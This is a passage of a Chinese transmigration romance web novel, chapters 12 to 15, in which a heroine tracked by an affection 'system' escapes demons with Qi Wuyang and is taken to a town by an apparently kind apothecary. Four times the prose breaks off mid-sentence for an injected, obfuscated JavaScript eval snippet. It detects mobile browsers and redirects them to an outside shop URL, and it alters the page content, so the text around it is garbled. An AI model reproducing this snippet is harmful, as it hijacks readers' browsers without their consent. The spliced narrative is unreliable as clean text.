这个谎言本来极为拙劣,但那目光实在太清澈了,她的身子因害怕而轻微发抖,眼里更无半点欺瞒之色。他暂时放下杀意,按住她的肩膀将她整个人往前一揽,声音含笑:“知道这是哪吗?” “不、不知道……” “这是我设的结界,灵力越高的人,碰到它之后受到的反噬越强,灵力低者甚至一靠近就会暴毙而亡。你还是第一个能安然无恙进到这里的人,因为你根本没有灵丹,所以——”祁无恙淡淡垂眸,将姑娘惊惧交加的面容一览无余,“我的身体去哪了?” 徐颂禾瞳孔猛地一震。 老天,她真是比窦娥还冤啊!才刚死了不到十天,现在又要再死一次,无限流大逃杀都不带这么玩的吧?! 不久前他们还那么和谐地在一起说话,怎么这就要动手杀她了?态度也不用转变得这么快吧! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16489848|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是我,真的不是我啊。”徐颂禾快要哭出来了,怎么就是不愿意信她呢?到底是谁这么坏,居然还要在大佬面前陷害她! 肩膀受到的钳制一松,她立马往后仰去,此刻大脑疯狂提示快逃,可双腿却不争气地发软。她勉力站稳身子,在对方的注视下急切地拍了拍衣服,“公子你看,我和你分开还没有多久,就算我要偷走你的……身体,也不可能那么快就能把它藏起来。可是现在我身上除了这几株草,真的就什么都没有了。” 她的声音带着哭腔,说的话看似不一样,实则每一句都在热烈地恳求他不要杀她。 祁无恙睨了她半晌,忽地哂笑一声。 没见过有人这么怕死的。 徐颂禾攥紧了方才捡到的一颗锋利的石子,若是实在没法,那就只能拼命搏一线生机了,她是绝不可能乖乖等着被人杀的。 “怕什么?你哭的越厉害,岂不是就越能证明心虚了?”他弹去落在肩头的雪,又作势要将那木柴扔下。 “等一下,不能扔。”徐颂禾吸了吸红彤彤的鼻子,嘴比脑子快地想制止他,话说出口后又意识到不对,她垂下脑袋,低低道:“这里堆积了太多雪,你这么一扔,很容易引起雪崩的,到时候山下的人可就要遭殃了。” “哦,”祁无恙翻转手腕,将那摞木柴放到了洞里,随后他往上面一坐,托起下颌饶有兴趣地打量着她,“你都自顾不暇了,还有心思管别人的死活?” “我就算要死,也不是他们造成的,那些人都是无辜的。” 祁无恙没再说话了,她脸上还挂着泪珠,那副义正言辞又视死如归的模样,让人看了真想掐断她的脖子。 “我不杀你,”良久,他才慢条斯理地吐出四个字,目光往下一扫,挑了挑眉:“不过,他们可就说不准了。” 徐颂禾愣了愣,也忘记了抽泣,顺着他视线回头看的瞬间,贮藏在眼眶里要掉不掉的眼泪贴着脸颊淌过。 一条流动的彩色地毯正不停歇地朝他们奔涌而来,分散开时又像是一个个五颜六色的萤火虫。 徐颂禾睁大眼,一瞬间连呼吸都凝滞了,手背上起了鸡皮疙瘩,酥麻感直冲脑门。 ……不要告诉她,这些都是妖怪的脑袋。 “……” 倒霉,倒霉透了。 徐颂禾连崩溃的时间都没有,转身便想往反方向跑,与此同时,哒哒的脚步声从四面八方传了过来。 “他们进不来结界,你所在的那里才是最危险的。” 洞里,少年隔着一层薄薄的结界,微笑着端详她:“要是想活,就来我这里,这是你唯一的选择。” 12. 第十二章 仿佛是一瞬间的事,天色暗了下来,比听戏时切换的场景来得还要突然。 方才这里闹出的动静太大,居然一下子引来了这么多妖怪,徐颂禾向结界内看去一眼,带着几分迟疑。 这个人方才还怀疑是她拿走了他的身体,这会又突然愿意出手相救了,她实在有些不相信。 横竖都是死,事到如今,也只能这样了。 徐颂禾捂住嘴巴,向后退了几步,脸上惊恐万分。她伸手指着他,几乎是扯着嗓子在喊:“祁无恙公子,我只是一个弱女子,我的身体配不上您这高强的法力啊,求您大人有大量,放过我吧……” 她在心里疯狂道歉∶对不起了大佬,这事过后可千万不能怪她呀,她也是被逼无奈了。 似乎没料到她会是这个举动,祁无恙笑意凝固在唇边,将视线从她脸上移开,扫向了那群不要命冲上来的妖怪。 这个名字仿佛一道无形的屏障,削弱了那潮水般的的来势。 徐颂禾趁热打铁,直接朝他跪了下来,声泪俱下∶“大人,这些妖怪个个灵力高强,要论一具合格的替身,他们比我强了不知多少倍!” 这一番话果然起了作用,众妖面面相觑,放缓了来势汹汹的攻势,都在暗自揣测谁会有夺舍这般强的能力。 难不成是…… 耳边没了动静,徐颂禾小心翼翼抬起头,见许多妖物留在数十步远的地方停滞不前,但仍有几个不怕死的,壮着胆子上前一探究竟。 随后一阵笑声震得树叶一颤∶“还道是哪路神仙,原来就是个破砍柴的。今日大伙居然让这小丫头片子给唬住了,传出去岂不让人笑话?” 此话一出,立刻引得群情激愤∶“杀了他们,杀了他们!” “……” 祁无恙视线淡淡从他们身上扫过。 “好,很好。”这句也不知是对着谁说。 他从容不迫地抬起手,竟凭空变出一柄弓来。 周遭空气倏地一沉,他甚至未曾取箭,只右手虚扣弓弦,随意一拉。 妖群脚步不停,如洪水般朝他们逼近。那弓弦崩得很紧,徐颂禾跪坐在地,愣愣抬眼,猝不及防撞进少年黑沉沉的眼瞳中。 虽然换了一副容貌,但这双眼睛却仍旧那般淡漠,仿佛眼下面临的不是生死大事。 松手的刹那,祁无恙朝她扬起唇,眼里的漆黑像是被一抹笑意化开。 什么时候见过这样的眼神呢? 徐颂禾回忆了一下,一个小孩拿着玩具弓和伙伴戏耍的时候,就是这样的神情。 顷刻间灵力化成的箭矢如同密集的雨点般落下,妖群落作一团,甚至连惨叫声都没听见,便看见雪地上零零星星沾满了血渍。 徐颂禾瞳孔微微一震,赶紧捂紧嘴巴不让自己发出声音。 但仔细看了才发现,他只杀了冲在最前头的几只妖怪,以此震慑了身后的妖群,逼迫他们撤退。 以他的行事风格,为什么不干脆全都杀个干净呢? “真是麻烦,”祁无恙轻轻啧了一声,微笑道∶“你想害死我?” 这句话倒如当头一棒,打得她懵了一瞬。 “哪里话,公子那么厉害,区区这几只妖怪,如何能害得了你?” “有人拿走了我的真身,我现在的灵力可大不如从前了。” 祁无恙倚在石壁上,垂眼似笑非笑地看着她。 所以这就是他给那些妖怪留了一条活路的原因吗?徐颂禾心里一惊——他怎么就这样告诉自己了? 但她没将这话说出口,耳边又传来一浪高过一浪的讨伐声,视线一转,明晃晃的火把映照下,一众长得奇形怪状的妖怪又举着武器冲了上来,只不过这回数量比方才少得多,粗看一眼,约莫有七八只。 “你说该怎么办?” 祁无恙叹口气,摊了摊手,语气里却听不出害怕∶“这具身体太弱了,刚才又消耗了灵力,现在连跑都跑不了了。” “那就待在结界里,不是说他们进不来吗?” 他伸指在那层薄薄的结界上一弹,恶作剧般地笑道∶“刚坏。” 蓦地,一阵令人头皮发麻的冷风从背后袭来,一只手毫无征兆地按上了她的肩。徐颂禾身子瞬间僵硬,大脑一片空白。 “啪”的一声响,她睁开眼,忐忑地转过头,见自己的肩膀并未受伤,只衣服被抓破了些,顿时长长松了口气。 少年垂眸冷冷看着倒在地上已经没了气息的妖怪,微微抬起手,拭去手背渗出来的血渍。 “你受伤了?”全没料到他会出手救自己,徐颂禾扑上前来,拉着他的手便想跑。 “那小子刚才肯定在故弄玄虚,居然还敢冒充九尾大人吓唬我们。大伙一起上,男的抓回去加餐,女的嘛……嘿嘿!” 一双眼睛从雪堆里钻出来,眨也不眨地盯着他们。 徐颂禾身子都在发抖,不过她觉得应该是被冻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16489849|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 这群家伙空有一身蛮力,脑子却不灵光,但凡往旁边这两个雪堆劈上一掌,保管能叫她连尸体都找不着。 她默默吸了口气,试图平复下心情,却有几粒雪花顺道被带进了鼻中,她一下瞪圆了眼,赶紧屏住呼吸,直到脸颊被憋得通红,胸口也一阵一阵犯疼,那催促人咳嗽的感觉才减弱了些。 这些妖怪到底什么时候走?一直缩在这,就算能不被吃掉,也快要被冻死了。 徐颂禾动了动眼珠,想看看眼下和自己共患难的人怎么样了,这一看,却让她心脏霎时狂跳不止。 只见一顶草帽从雪堆顶上滚了下来,砸在地上时发出轻微声响——完蛋了,忘记他还有一顶帽子了。似乎感知到她的视线,祁无恙眨了眨眼,满脸无辜地和她对视上。 “……” 要被发现了,那就破罐子破摔吧!千钧一发之际,徐颂禾快速戳开一个洞,把手从中伸出来抓了一把雪狠狠朝将要转过身来的妖怪扔去。雪球飞到他脸上,扑灭了他手中的火把。 “啊哟——” 那妖怪惨叫连连,疯狂挥舞着手中的刀具,但视线被雪花遮得严严实实,他接连后退几步,又将背后的妖怪撞倒在地。 火把又灭了一只。 “谁!是谁偷袭我?” 众妖一时间乱作一团,只余几只未被熄灭的火苗在风中苟延残喘。 徐颂禾趁机赶紧蹦了出去,抓起地上那顶草帽便朝反方向用力掷出,抬头便对上一双含笑的眼。 她不想知道他是什么时候出来的,只立刻奔过去拉住他的手,气喘吁吁:“快、快跑。” “都在犯什么蠢?没看见刚刚那个人的帽子掉到那了吗?他们肯定还跑不远,赶紧追!” 大风把妖怪骂骂咧咧的声音送到耳边,徐颂禾最后回头看了一眼,他们果然已经重新抄起武器,借着微弱的火光朝方才帽子滚落的方向追去了。 不确定要跑到哪里才算安全,她脚步一刻也不敢停,一直跑到心脏几乎跳到了嗓子眼,连呼吸都伴随有血腥气时,才不得不停下来弯着腰喘气。 祁无恙双手抱胸倚在一旁,将她狼狈的模样尽收眼底。 他弹去落在衣摆上的雪,偏了偏头,似乎方才那一番狂奔消耗的不是他自己的腿。 徐颂禾抬起头,撞进一双黑沉沉的眸子里。 她盯着对方的手臂,半晌,嗫嚅道∶“你、你的手怎么样了?” 13. 第十三章 “你觉得呢?”祁无恙似笑非笑地看着她。夹杂着雪的冷风灌进衣袖,刮在他流血的手背上,应当是疼的,但他没什么所谓,这点疼还远没有到需要动药的地步。 “你是为了救我才受伤的,和我脱不了干系,所以我……” “如果不是有人藏了我的真身,我又怎会被区区一个无名小卒所伤?” 又是这个,怎么就是不相信她呢? “……这个和我没关系,真的没关系。”徐颂禾赶紧摆摆手,脸色又苍白了一些,“我不会骗你的,我发誓。公子你再想想,我进去的时候洞穴里的雪都已经没过我的脚踝了,说明结界早就被人破坏了,至少肯定是在下雪前,在我去那之前……” 然而没等她说完,祁无恙便目光飘忽,早已看向别处。 真没意思,没见过这么胆小的人。 随便吓唬两句就能让她害怕得语无伦次,但很可惜,他可懒得听她这一连串的解释。 见他已经闭了眼睛,徐颂禾顿了顿,便不再说下去了。 她偏过头,目光落到他的侧脸上,之后便一动不动了。 那日风雪中,少年漂亮妖冶的模样从面前一闪而过,甚至可以说深深刻在了她的脑海里。 徐颂禾忽然觉得,他有些可怜。 他说自己没有家,也没有亲人,仇家却一个接一个找上门。原本他还能应付得来,现在……恐怕连自保的能力也被削弱了。 “你在看什么?” 他的声音冷不丁响起,徐颂禾转过头,对上他投来的视线。 在她的注视下,祁无恙勾起唇,微笑道∶“不是想要钱吗?只要提着我的头去见流云宗的人,他们就会给你享不尽的荣华富贵。” 她一怔,目光也变得有些呆滞。 他在说什么?她怎么一句也听不懂了? 他却自以为看懂了她心中所想,淡淡一哂∶“我眼下不过是个凡人的肉身,方才逃到这里又耗了不少灵力,所以你若是想动手,就趁现在。” 灵力损耗……难道他这是在暗示什么? 徐颂禾犹豫了一下,随后小心翼翼抬起手,试探着去摸他方才那只受伤的手。 “做什么?” “你刚才不是受伤了吗?”她盯着他的手,认真道∶“你看,都流血了,不及时处理的话,这种天气很容易感染的。” 她也不只是嘴上说说,动作麻利地摸出方才摘的草药,心里暗暗庆幸幸好在雪崩之前多摘了两株。 祁无恙垂下眼皮,目光落到她认真的脸上。 她小心翼翼地捏着他的手腕,触到皮肤时,分不清是粘糊的汁水更凉还是她的指尖更凉。 “怎么样,不疼了吧?”徐颂禾抬起脸,眼里似有光晕跳动。 “你这几日就不要再动手了,也不能碰水,不然这药可就白敷了……” 祁无恙微微蹙眉,收回手时宽大的袖袍猝不及防从姑娘脸上扫过。 手背上传来冰凉粘腻的触感,混着淡淡药味溜进鼻中,令他很不适应。 记忆里,娘死了以后,他受伤就从没用过药,也没人会叮嘱他,有伤在身时不能动手。 更何况是这样微不足道的小伤。 “怎么了?很疼吗?” 见他反应这么大,徐颂禾以为是自己上药的力道太大弄疼了他,忙解释道∶“你流血了,疼也是正常的,只要好好休养,过几日便能好了。” 他不答,只翻了翻手腕,看了眼上面黏糊糊的绿色液体。 风卷着雪沫子扑到脸上,徐颂禾摸了下手臂上起的鸡皮疙瘩,旋即掩住嘴打了个响亮的喷嚏。 “好……好冷,”她哆哆嗦嗦的,方才衣服早就被划得全是口子,现在连说话都不利索了,“你在这等一等,我去找些木头回来生火吧。” 她转身,艰难地在雪地上留下一排脚印。 “确定吗?” “什么?” 徐颂禾顿了顿,不明所以地看着他。 “现在你只有两个选择,”他弯起眼睛,唇角浮现出一抹和善的笑,“要么留在这被冻死,要么出去被妖怪杀死。不过你要是运气够好,还能侥幸从腹中逃出来。” “……”她就必须死一次吗? 徐颂禾不敢再走了,他那样子看上去不是很正经,但也不像故意骗她的。 她蹲下身朝手上哈气,然后两只手掌放到一起反复摩擦,睫毛湿漉漉的,眼睛里像蒙了一层水汽,“要不……先去找个有人的地方?” 还没等到回答,脚底下忽然鼓了鼓,紧接着一道白色的身影从雪地中窜过,而后又一头栽在了灌木丛里。 徐颂禾转过头,一只雪白雪白的兔子出现在视线里,它的脑袋被卡在了草丛中,只露出一个屁股,两条后腿使劲向外蹬,叶子被晃得扑簌簌掉了下来。 她见状走去扒开草丛,动作轻柔地把它捧在了手心里。 兔子腿上有些红色的血渍,徐颂禾眼神软了软,轻轻把方才剩下的草药汁匀了一点涂在上面。 “还好伤得不重,”她伸手在兔子身上揉了揉,那两只镶嵌在脸上的纽扣似的红眼睛一眨不眨地盯过来,软乎乎的毛挠得她心里也软软的,“小兔子,你为什么会在这里呢?你现在是不是也和我一样冷?” 身后传来一声轻嗤∶“你再多问几遍,没准它能在被冻死前听懂了回答你。” 徐颂禾跟着笑起来,意识到自己方才对着一只兔子问话的行为确实是有点蠢。 “恭喜宿主,好感度+10,当前好感度为百分之十。” 蓦地,一股电流音在脑海中响起,紧随着一股难以置信的欢喜窜过全身。 这是哪跟哪啊?她明明什么也没做,怎么突然就加了十? 徐颂禾抬起头,仔细端详着面前居高临下站着的人,试图从那张波澜不惊的脸上寻找答案。 她眼睛盯着没动,手却没闲着,一下下轻轻抚摸着兔子的软毛。 “恭喜宿主,好感度再加五。” 徐颂禾∶?? 她低头看了眼怀里的兔子。 这好感度一路都没什么反应,方才不过是给它上了药,还摸了两下,为什么就莫名其妙上涨了? 难不成……他喜欢兔子? 这个答案一闪而过,徐颂禾捏着兔子的两只前腿,把它举过头顶,递到他面前。 “公子,它想让你摸摸。” 祁无恙眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16489850|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头锁得更深,他的目光里多了几分不解,旋即嫌弃地后退半步。 或许是见他半天都没反应,兔子被往旁边移开了一些,露出后面少女那张娇俏的脸。 徐颂禾眨了眨眼,觉得奇怪∶“公子,你不喜欢它吗?” “……不喜欢,”他脸色沉下来,生怕那东西身上的毛碰到自己,“拿远点。” 他不喜欢?那刚才为什么会…… 兔子在手心里蹬了一下腿,徐颂禾以为它是想走,急忙摊开手,可它却又安安静静蜷缩在上面,全身毛发颤抖着,像是冷极了。 她赶紧捂住手把它抱到胸前,眼巴巴地看着祁无恙∶“公子,可不可以带上它?我保证不会让它碰到你的。” 祁无恙笑了笑,言语中满含讥讽∶“我自然没意见,只不过姑娘如此善心大发,万一路上再遇见些猫猫狗狗,岂不是能开家活物摊了?” 她倒没怎么注意听别的,只捉住了“没意见”三个字,便高兴地抱着兔子,笑得眉眼弯弯∶“公子,我们走吧。” ……我们? 她倒会顺杆爬,就这样把他们划分到一个阵营里了。 祁无恙没答话,转身的瞬间,听见身后哒哒哒的脚步声——她跟了上来,极其自然地走在他身侧,嘴里还在喋喋不休地问∶“公子,我们要去哪里才能找到你的真身呀?” “我怎么会知道?” 身后的脚步声时重时轻,偶尔还有飞溅的雪沫卷上来,没过脚踝,他顿足回头,看见她的鞋子时不时陷进雪地里,拔出来时身子摇摇晃晃的,立刻又重新重重踩了下去。 走路的样子像只没长开的小鹿,真滑稽。 他没打算伸手扶她一把,只站在一旁好整以暇地看着,一边在心里估摸她什么时候会摔倒。 “哎——”徐颂禾低头看了看被卡进去的脚,不得不张开手保持平衡,她有些沮丧地想向面前的人求助∶“我动不了了,你可不可以拉我一下?” 然而,还没等他做出反应,一只有力的手忽然横空伸过来,抓着她肩膀把她整个人拽了出来。 是谁救了她?难道说在这种连野兽都看不见几只的地方还有别的路人? 徐颂禾激动地转过头,一眼便看见了搭在自己肩上的手。 那是一只干枯且布满褶皱的手,这只手的主人长了一张瘦骨嶙峋的脸,而这张脸的下面还有一个瘦弱的身躯和一双短细的大腿。 老人迎着她的注视笑了起来,徐颂禾快要看不见他的眼睛了。 “年轻人怎么到这种地方来?”他松开手,摸了把不存在的胡子,道∶“可是迷了路?” 徐颂禾这才回过神,赶紧朝他鞠躬道谢∶“老人家,多谢您出手相助,我和我的……”她回头看了祁无恙一眼,顿了顿才道∶“我和我的朋友迷路了,不知道能不能向您打听打听,这附近最近的集市在哪?” 那老头视线从她脸上移开,跳到了身后的少年身上。 祁无恙唇角弯起一个极轻微的弧度,漆黑的眸子里透出一股掂量的意味,就好像站在他面前的不是一个活人,而是一截没有生命力的枯木。 ……这个人不管换多少副皮囊,笑容永远都是这样,像淬了毒似的。 14. 第 14 章 那老头闻言,凹陷的眼眶里,两颗圆珠子骨碌碌地转了转,笑道∶“当然知道,我就是那边镇子上的居民。这儿荒郊野岭的,就算没有野兽出没,也容易被冷死,二位若不嫌弃,不妨跟着我走。” 徐颂禾转头朝身旁人投去犹豫的一瞥,见他没什么反应,她也不知道该怎么表态了。她是个不清楚剧情走向的穿书人,这个地方潜在的危险太多了,她根本猜不到哪些人能信,哪些人想要她的命。 “那就劳烦阁下带路了。” 祁无恙却先开了口,声音含笑,面无表情地从她身边擦过。 “哎——你等我一下。” 徐颂禾等了片刻才犹犹豫豫地跟上去,小声询问系统∶“系统,检测一下他身上有没有危险的气息?” 系统发出一道蓝光,随后回答道∶“宿主放心,他不是妖怪,也不是流云宗的人。” 她一听,顿时放下心来,顺便感到一阵愧疚——大爷好心帮他们,她居然还怀疑人家图谋不轨。 这老头名叫余百岁,他走两步便笑眯眯地回头,道∶“我是镇子里一家药店的掌柜,姓余,你们可以叫我余掌柜。” 跟着余百岁坐上马车的那刻,徐颂禾伸直了腿,这时才感到身心俱疲。 方才她还颇为不好意思地推脱了一番,心想怎么样也不能老人家骑马受累,可余掌柜却满不在乎地摆摆手,笑容慈祥∶“怎么能让客人干活?两位安心坐着就好。别看我老,我这胳膊和腿可好着呢!” 徐颂禾还是觉得过意不去,她弯了弯眼睛,将剩下的草药捧在手心里∶“您方才说您是药铺掌柜,不知道这些用不用得上?” 余百岁闻言哈哈一笑∶“你这女娃娃倒挺怕占人便宜,好,那我就收下了,你且替我收着。” 马车里很闷,她感到有些坐立不安,或许是因为来到这个地方后一天安稳日子都没有过,她只有听着系统实时播报路上没有妖怪的气息,那份焦虑才能稍稍得到缓解。 外面下着雪,没法拉开帘子,于是徐颂禾视线在马车里转来转去,不知道几次从对面阖眼坐着的少年身上掠过。 他不会睡着了吧? 徐颂禾摸了摸怀里停止发抖的兔子,想着攻略的事。 她原先觉得他好难攻略,他的世界里好像永远都只有他自己,装不下别人。 但是方才…… 好感度到底为什么会增加?系统倒是给她提供一个方向,不然她该怎么下手呀? “我脸上有东西?” 对面的人不知何时睁开了眼睛,却保持原来的姿势没变,就那么淡淡迎接她的视线。 徐颂禾微微一惊,这才意识到自己方才想得出神,居然不知不觉盯着人家看了那么久。 “没、没有。” 不过好感度毕竟增加了那么多,他现在应该不想杀她了吧?徐颂禾胆子大了些,问道∶“公子,你为什么相信他不是坏人?” “坏人?” 祁无恙懒洋洋地直起背,忽地俯下身,朝她逼近了些,眼底是姑娘好奇又害怕的神色,“我很好奇,你对‘坏人’的定义是什么?” “我刚才要杀你,那我算不算坏人?” 徐颂禾蹭过兔毛的手顿了顿,没经过思考便脱口而出∶“当然不是,你如果真的想杀我,刚才就会放任那些妖怪朝我过来。” 她说的是真的,她的性命在祁无恙这里或许微不足道,但他应当还没有到想动手杀她的地步。 小说里不都这样吗?先是懒得杀,再到渐渐对她特殊,最后…… “余掌柜,您这马车上还坐了人呢?” 蓦地听见一声嬉笑,徐颂禾撩开帘子,探出脑袋,瞬间愣住了——四周已不是白茫茫的雪,街道上干干净净,两旁屋舍林立,行人脸上挂着笑,一副与严冬截然相反的模样。 没有妖怪,没有人会追杀他们,这里简直就是世外桃源。可为什么独独这座小镇里的雪比外面的小上那么多? 感觉到马匹在一条道上停了下来,徐颂禾一抬头,在看清眼前的路之前,一股清新的药味率先扑了过来。 只见屋顶上挂着一个牌匾,透过落在上面的一层薄薄灰尘,依稀能看出那几个大字是“余氏药铺”。 “二位,到地方了……” 余百岁笑呵呵地走过来,那姑娘却猛地弯腰朝他行了一礼,吓得他“哎哟”一声∶“姑娘,你这是做什么?” “今日若不是您出手相助,恐怕我逃不过那些野兽和妖怪的追捕。”徐颂禾低下头,顺便伸手小心翼翼地拉了拉身旁人的衣角。 祁无恙没什么表情地瞥了那只手一眼,大概是觉得不耐烦,几秒后,他拱了拱手,和她做了一样的动作。 “余掌柜果然心善,”方才说话那人拍着手,笑嘻嘻地走了过来,“你们可得好好谢谢掌柜,他总时不时坐着马车出去采药,就是为了看看有没有需要帮助的人,这些年已经带回来不知道多少个迷路的人了。” 余百岁只呵呵一笑,挥手道∶“阿方啊,没什么事的话,带着他们四处转转去吧,外面的雪还不清楚要下到什么时候,一时半会怕是走不了了。” 原来是这样吗?徐颂禾内心一阵触动,她看了看弯着腰走进药铺摆动草药的老人,心道没想到在一个对她来说连活下去都是困难的世界,还能有如此善良质朴的人。 “你能确定他一定是个好人?” 走在最后面的少年悠悠开口,徐颂禾一愣,转头看向他。 对上她的视线,祁无恙露出一个无害的微笑,说的话却像根刺∶“你还真是好骗,随便几句话都能让你感动成这样。” “因为帮过自己的人和这世间的所有美好而感动,不是很正常的事吗?”徐颂禾下意识接过话,说完朝他眨眨眼,脸颊一侧勾勒出一个浅浅的酒窝,“公子之前救我的时候,还有愿意放下猜忌不杀我的时候,我也很感动呀。” 她忽然在前面停了下来,紧接着蹦跳几步,退到他身旁和他挨着。 没容他闪开,徐颂禾踮起脚,在他耳边轻声细语∶“我知道能说出这种话的从前一定都经历过什么,你不想说,那我也就不问了。但公子知道什么是否极泰来吗?” 祁无恙蹙了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16493257|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙眉,顺口抛出三字∶“不知道。” “我们那边的人是相信玄学的,你从前碰到的都是不好的人和不好的事,那以后遇见的就只有待你好的人了。”她换了副神秘兮兮的语气,压低了声音。 “是么?”祁无恙眉头舒展开来,那双眼睛小幅度弯了弯,皮笑肉不笑∶“那我什么时候会遇见?” 这样愚蠢的话,他本来理都不该理的,但不知道为什么,此刻却起了随口逗弄她的心思。 “你已经遇见了呀,”少女的眼睛弯成两枚亮晶晶的月亮,里面有碎光在闪动,“就是我啊,我会对你好的……” 那阿方在前面自言自语了半晌,回过头来才发现那两人早就落了自己一大截,忙停下来问道∶“二位可是身体不适?” “没有没有,”徐颂禾急忙摆摆手,颇为不好意思道∶“真是麻烦你了,幸好我身体还算过得去,不然真生病了可就麻烦了……” 不等这话说完,阿方便笑着挥手打断了她∶“那有什么麻烦的?我们余掌柜可是无所不能,就没有他治不了的病,这镇子里的大家可都靠着他过日子呢。 “你是不知道,余掌柜还有一个密室,专门炼制药的,他不让任何人进去,连我也不知道那密室在哪。” 说到余掌柜,徐颂禾忽然想到一件事,忙问∶“掌柜的以前带回来的人,也都是和我们一样在雪天迷路的吗?” “差不多吧,这地方下了雪四处都长得一样,的确容易迷路。” “那他们是怎么离开的呢?”徐颂禾有些不安地问∶“不会真的要等到雪停了才能走吧?” 冬天才刚开个头,谁知道这场雪会下到什么时候,就算雪停了一时,外面的路也还是看不清,一直待在这给别人添麻烦也太不好了…… “离开?”阿方瞪大了眼,旋即摇摇头,道∶“我刚被掌柜带回来的时候,也是这么想的。后来掌柜的看我可怜,主动收留了我,我每天只需要随便干点杂活就能混口饭吃,最重要的是还不用担心病了没地医。我就想着这地方这么好,我还出去干什么?相信我,你们只要待上一段时间,也会爱上这里的。” 徐颂禾又问∶“你也是被余掌柜带回来的?” 她一边问话,余光注意到从不开口的少年逐渐落在了后面,便时不时停下脚步等他。 阿方点点头,颇为自豪∶“这已经是我跟着余掌柜在小镇待的第三年了,我数了一下,这三年里起码还有十几个和我一样被掌柜带回来的。” “他们都不走了?” “不走了。起先都是想走的,掌柜也没挽留,只不过后来生了场病,被治好后都对掌柜的感恩戴德,就留下来啦。” 徐颂禾还想追问生的什么病,但意识到自己一口气问得太多,有些没边界感,便连忙住了口,微笑着朝他点点头∶“今日实在麻烦你和余掌柜了,天色也不早了,你快先回去吧,我和我朋友随便走走就好。” 那阿方眼珠子转了转,脑子里浮现出方才回头招呼他们时,两人亲密地走在一起的画面,狡黠一笑∶“什么朋友?我看他是你郎君才对吧!” 15. 第 15 章 徐颂禾呆愣了一下,转头去看他。 一路都像是在独自沉思的少年抬了抬眼皮,仍是一脸无所谓的样,也没开口否认。 “阿方,你怎么这样问?”徐颂禾摸了摸泛红的鼻尖,指指身旁的人,“你不能因为我家公子脾气好好说话,就这样随便猜测吧?” 阿方笑嘻嘻地跑开几步,又回过头来吐吐舌头,朝他们摆了个鬼脸,一连串的笑声被风送到了他们耳朵里。 “不说就不说,来这里的人都这样,真不知道有什么好害羞的。” “……” 徐颂禾捂住怀里兔子的耳朵∶“小白乖,咱们不听这些。” “你还有闲心给它取名。”祁无恙瞥了那兔子一眼,见空气中隐隐漂浮着白色的毛,不动声色地退后了几步。 “它白白嫩嫩的,叫小白多合适,”徐颂禾说完又看向他,“公子,你为什么叫这个名字?” “哪有什么为什么?” “当然有啊,我爸妈给我取这个名字的时候,就希望我能像太阳一样生长,健健康康幸幸福福的,”徐颂禾想了想,看着他眼睛笑着说∶“公子你的名字也很好,三个字都很好。心怀期许,祈愿你一生平安……” 他又不说话了,低垂着眼睫,像是在思忖。 他脸上总是淡淡的,没什么表情,所以她总是猜不到他心里想什么,又是什么心情。 头上忽然有湿漉冰凉的触感,徐颂禾抬手一摸,雪花在手里化成了一滩水。 天上开始飘雪了,路上的人却依旧不慌不忙,看那表情甚至还有点享受。 “你们走那么急干什么?”后面传来阿方的声音,他递过来一把伞,道∶“就这点小雪有什么好跑的?我只找到了一把伞,你们凑合着用吧。” 说完,他颠了颠自己手里那把能遮下三个人的伞,将另一把小得只能勉强遮住一人的伞递给了他们。 “……谢谢。”徐颂禾接过伞,却不打开,只拿在手中。 她手指捏着伞柄转了半圈,眼睛瞟着阿方手里的大伞,又飞快收回视线,把小伞往祁无恙那边斜了斜,一双大眼睛看着他∶“你要不要?” 他蓦地一笑,毫无征兆地戳破了她的心思∶“你嫌小,想要他那把?” “……我没有,”她有些尴尬,赶紧掩饰过去,“阿方,下雪你怎么还出来?” “忘记告诉你们了,那间招待客人的屋子还没腾出来,”阿方打个呵欠,伸手往前面一指,“前面有座庙,你们今晚就去那对付一晚吧。” “哦对了,”他临走前还不忘叮嘱一句,“可别让掌柜知道,不然又要说我怠慢客人了。” 